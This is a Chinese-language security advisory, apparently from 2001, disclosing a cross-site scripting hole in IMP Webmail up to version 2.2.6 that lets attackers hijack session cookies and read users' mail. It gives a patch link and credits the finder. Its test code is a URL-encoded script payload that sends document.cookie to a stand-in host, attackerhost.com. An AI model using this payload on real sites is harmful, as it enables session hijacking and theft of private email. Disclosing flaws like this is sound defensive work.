Imp Webmail session 可劫持漏洞发布时间：2001-11-13 更新时间：2001-11-13 严重程度：中 威胁程度：其它 错误类型：设计错误 利用方式：服务器模式 受影响系统 imp webmail versions, up to 2.2.6详细描述 imp/horde session可以使用cross-site脚本攻击获得，通过劫持cookies信息。 攻击可以使用session来读取EMAIL信息。 测试代码 http://myimp.site.com/status.php3?message=%3Cscript%20language%3Djavascript %3E%20document.write(%27%3Cimg%20src%3Dhttp%3A%2F%2Fattackerhost.co m%2Fcookie.cgi%3Fcookie%3D%27%20%2B%20escape(document.cookie)%2B% 20%27%3E%27)%3B%3C%2Fscript%3E%0A 解决方案 使用补丁程序： http://cvs.horde.org/diff.php/imp/Attic/status.php3?r1=2.7.2.22&r2=2.7.2.23&ty=u 相关信息 Joao Pedro Goncalves (megas@phibernet.org) 参考：http://archives.neohapsis.com/archives/bugtraq/2001-11/0054.html |
